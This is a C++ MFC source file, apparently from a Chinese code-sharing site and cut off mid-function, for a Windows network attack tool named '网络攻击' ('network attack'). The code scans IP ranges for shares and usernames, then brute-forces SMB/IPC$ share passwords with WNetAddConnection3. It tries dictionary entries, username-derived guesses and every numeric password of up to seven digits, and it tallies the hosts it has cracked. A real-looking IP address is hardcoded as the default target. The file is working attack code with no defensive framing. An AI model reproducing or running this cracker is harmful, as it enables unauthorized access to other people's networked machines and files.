📄 网络攻击view.cpp
字号:
}
void CMyView::getpassword(CString user, CString ip,HTREEITEM pitem)
{
LPNETRESOURCE netres=new NETRESOURCE;
netres->dwType=RESOURCETYPE_DISK;
netres->lpLocalName="";
netres->lpProvider=NULL;
TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
CString sever="\\\\";
HTREEITEM p1=m_show.GetParentItem(pitem);
p1=m_show.GetParentItem(p1);
p1=m_show.GetChildItem(p1);
CString text2=m_show.GetItemText(p1);
p1=m_show.GetChildItem(p1);
do{
text2=m_show.GetItemText(p1);
if(text2!="IPC$")
{
break;
}
p1=m_show.GetNextItem(p1,TVGN_NEXT);
}while(1);
sever+=ip;
sever+="\\";
sever+=text2;
for(int i=0;i<sever.GetLength();i++)
szRemoteName[i]=sever[i];
szRemoteName[sever.GetLength()]=0;
netres->lpRemoteName=szRemoteName;
CString pp;
POSITION pos=pplist.GetHeadPosition( );
for(int k=0;k<pplist.GetCount( );k++)
{
pp=pplist.GetAt(pos);
if(pp[0]=='@')
{
char tt[30];
for(int i=1;i<pp.GetLength();i++)
tt[i-1]=pp[i];
tt[pp.GetLength()-1]=0;
pp=user;
pp+=tt;
}
m_pwd=pp;
m_name=user;
CString str="";
str.Format(" ( %d )",m_progress.GetPos()+1);
m_curip=ip+str;
UpdateData(false);
if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,NULL))
{
HTREEITEM tem=m_show.GetChildItem(pitem);
if(tem==NULL)
{
if(pp=="")
{
pp="空密码";
}
m_show.InsertItem(pp,6,6,pitem,0);
name=user;
if(pp=="空密码")
pp="";
password=pp;
////////////得到密码主机数+1
igetp++;
m_getp.Format("破解密码主机数: %d",igetp);
UpdateData(false);
m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(pitem)),1,1);
break;
}
}
else
{
}
pplist.GetNext(pos);
}
delete netres;
}
void CMyView::getpassword2(CString user, CString ip, HTREEITEM pitem)
{
LPNETRESOURCE netres=new NETRESOURCE;
netres->dwType=RESOURCETYPE_DISK;
netres->lpLocalName="";
netres->lpProvider=NULL;
TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
CString sever="\\\\";
HTREEITEM p1=m_show.GetParentItem(pitem);
p1=m_show.GetParentItem(p1);
p1=m_show.GetChildItem(p1);
CString text2=m_show.GetItemText(p1);
HTREEITEM p2=m_show.GetChildItem(p1);
do{
text2=m_show.GetItemText(p2);
if(text2!="IPC$")
{
break;
}
p2=m_show.GetNextItem(p2,TVGN_NEXT);
}while(1);
sever+=ip;
sever+="\\";
sever+=text2;
for(int i=0;i<sever.GetLength();i++)
szRemoteName[i]=sever[i];
szRemoteName[sever.GetLength()]=0;
netres->lpRemoteName=szRemoteName;
p1=m_show.GetNextItem(p1,TVGN_NEXT);
p1=m_show.GetChildItem(p1);
HTREEITEM pname=p1;
do{
user=m_show.GetItemText(p1);
CString pp;
POSITION pos=pplist.GetHeadPosition( );
for(int k=0;k<pplist.GetCount( );k++)
{
pp=pplist.GetAt(pos);
if(pp[0]=='@')
{
char tt[30];
for(int i=1;i<pp.GetLength();i++)
tt[i-1]=pp[i];
tt[pp.GetLength()-1]=0;
pp=user;
pp+=tt;
}
m_pwd=pp;
m_name=user;
m_curip=ip;
UpdateData(false);
if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,CONNECT_UPDATE_PROFILE))
{
HTREEITEM tem=m_show.GetChildItem(p1);
if(tem==NULL)
{
if(pp=="")
{
pp="空密码";
}
m_show.InsertItem(pp,6,6,p1,0);
name=user;
if(pp=="空密码")
pp="";
password=pp;
////////////得到密码主机数+1
igetp++;
m_getp.Format("破解密码主机数: %d",igetp);
UpdateData(false);
m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(p1)),7,7);
}
}
else
{
}
pplist.GetNext(pos);
}
p1=m_show.GetNextItem(p1,TVGN_NEXT);
}while(p1!=NULL);
delete netres;
}
void CMyView::antherthread()
{
/* byte ip11,ip12,ip13,ip14;
byte ip21,ip22,ip23,ip24;
m_ip1.GetAddress(ip11,ip12,ip13,ip14);
m_ip2.GetAddress(ip21,ip22,ip23,ip24);
CString strip;
int k3=0;
int k4=curthread;
if(ip14>254)
ip14=254;
if(ip24>254)
ip24=254;
if(curthread==(ip23-ip13)*254+(ip24-ip14))
AfxMessageBox("分配线程结束");
if(curthread<=(ip23-ip13)*254+(ip24-ip14))
{
for(int i=threadnum;i<100;i++)
{
info*infotem=new info();
info*infotem2=new info();
infotem2->myview=this;
infotem->myview=this;
strip.Format("%d.%d.%d.%d",ip11,ip12,ip13+k3,ip14+k4);
if(k4<=254)
{
k4++;
}
else
{
k4=0;
k3++;
}
HTREEITEM item,item2,item3;
curip=strip;
infotem->ip=strip;
infotem2->ip=strip;
item=m_show.InsertItem(strip,0,0,0,0);
item3=m_show.InsertItem("共享资源($)",1,1,item,0);
infotem2->counter=item3;
AfxBeginThread(scanshares,infotem2,0);
item2=m_show.InsertItem("用户名",2,2,item,0);
infotem->counter=item2;
AfxBeginThread(scanusers,infotem,0);
m_show.Expand(item,TVE_EXPAND);
curthread++;
}
threadnum=100;
}*/
}
void CMyView::Onclose()
{
PostQuitMessage(0);
}
void CMyView::Onmade()
{
if(m_bstart==FALSE)
{
Cmadedlg dlg;
dlg.m_ftp=m_bftp;
dlg.m_get=m_bget;
dlg.m_port=m_bports;
dlg.m_share=m_bshare;
dlg.m_ping=m_bping;
if(dlg.DoModal()==IDOK)
{
m_bftp=dlg.m_ftp;
m_bget=dlg.m_get;
m_bports=dlg.m_port;
m_bshare=dlg.m_share;
m_bping=dlg.m_ping;
m_course.ResetContent();
m_course.AddString(" 当前主要功能设置");
m_course.AddString("--------------------------");
if(m_bping==TRUE)
{
m_course.AddString("扫描前ping");
}
if(m_bget==TRUE)
{
m_course.AddString("破解简单密码");
}
if(m_bftp==TRUE)
{
m_course.AddString("FTP扫描");
}
if(m_bshare==TRUE)
{
m_course.AddString("共享扫描");
}
if(m_bports==TRUE)
{
m_course.AddString("端口扫描");
}
m_course.AddString("--------------------------");
}
}
else
{
AfxMessageBox("正在扫描,请稍后再设置");
}
}
/*void CMyView::Onabout()
{
}
*/
void CMyView::OnHelp()
{
::HtmlHelpA(this->m_hWnd,"help.chm",HH_DISPLAY_TOPIC,0);
}
void CMyView::OnRclickTree1(NMHDR* pNMHDR, LRESULT* pResult)
{
HTREEITEM item=m_show.GetSelectedItem();
HTREEITEM p1=m_show.GetParentItem(item);
CString text2=m_show.GetItemText(p1);
if(text2=="用户名")
{
CRect r;
m_show.GetItemRect(item, &r, TRUE);
m_show.ClientToScreen(&r);
CPoint point;
GetCursorPos(&point);
if(r.PtInRect(point))
{
CMenu rightmenu2;
rightmenu2.LoadMenu(IDR_right);
CMenu *rightmenu=rightmenu2.GetSubMenu(0);
rightmenu->TrackPopupMenu(TPM_LEFTALIGN |TPM_RIGHTBUTTON, point.x,
point.y, this);
}
}
*pResult = 0;
}
UINT caijie(LPVOID lParam)
{
CMyView *tem=(CMyView*)lParam;
tem->caijiepassword();
return 0;
}
void CMyView::Oncaijie()
{
rpitem=m_show.GetSelectedItem();
AfxBeginThread(caijie,this,0);
}
void CMyView::caijiepassword()
{
CStringList caijiep;
bool bget=false;
//////////////添加密码区域
CString pptem="";
caijiep.AddTail("");
caijiep.AddTail("@");
int num=0,num1=0,num2=0,num3=0,num4=0,num5=0,num6=0;
/*for(num5=0;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
for(num6=0;num6<10;num6++)
for(num5=0;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}*/
caijiep.AddTail("6195146898197");
//添加密码区域
LPNETRESOURCE netres=new NETRESOURCE;
netres->dwType=RESOURCETYPE_DISK;
netres->lpLocalName="";
netres->lpProvider=NULL;
TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
CString sever="\\\\";
HTREEITEM p1=m_show.GetParentItem(rpitem);
CString user=m_show.GetItemText(rpitem);
p1=m_show.GetParentItem(p1);
CString ip=m_show.GetItemText(p1);
sever+=ip;
p1=m_show.GetChildItem(p1);
CString text2=m_show.GetItemText(p1);
p1=m_show.GetChildItem(p1);
do{
text2=m_show.GetItemText(p1);
if(text2!="IPC$")
{
break;
}
p1=m_show.GetNextItem(p1,TVGN_NEXT);
}while(1);
sever+="\\";
sever+=text2;
for(int i=0;i<sever.GetLength();i++)
szRemoteName[i]=sever[i];
szRemoteName[sever.GetLength()]=0;
netres->lpRemoteName=szRemoteName;
////////////////////
int index=0;
int max=31;
int from=0;
int to=0;
while(index<max)
{
caijiep.RemoveAll();
switch(index)
{
case 0:
for(num=0;num<10;num++)
{
pptem.Format("%d",num);
caijiep.AddTail(pptem);
}
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d",num1,num);
caijiep.AddTail(pptem);
}
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d",num2,num1,num);
caijiep.AddTail(pptem);
}
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d",num3,num2,num1,num);
caijiep.AddTail(pptem);
}
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d",num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 1:
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 2:
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 3:
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 4:
for(num6=0;num6<1;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 5:
for(num6=0;num6<1;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 6:
for(num6=0;num6<1;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
/////////////
case 7:
for(num6=1;num6<2;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 8:
for(num6=1;num6<2;num6++)
for(num5=3;num5<6;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
case 9:
for(num6=1;num6<2;num6++)
for(num5=6;num5<10;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
index++;
break;
//
/////////////
case 10:
from=2;
to=3;
for(num6=from;num6<to;num6++)
for(num5=0;num5<3;num5++)
for(num4=0;num4<10;num4++)
for(num3=0;num3<10;num3++)
for(num2=0;num2<10;num2++)
for(num1=0;num1<10;num1++)
for(num=0;num<10;num++)
{
pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
caijiep.AddTail(pptem);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -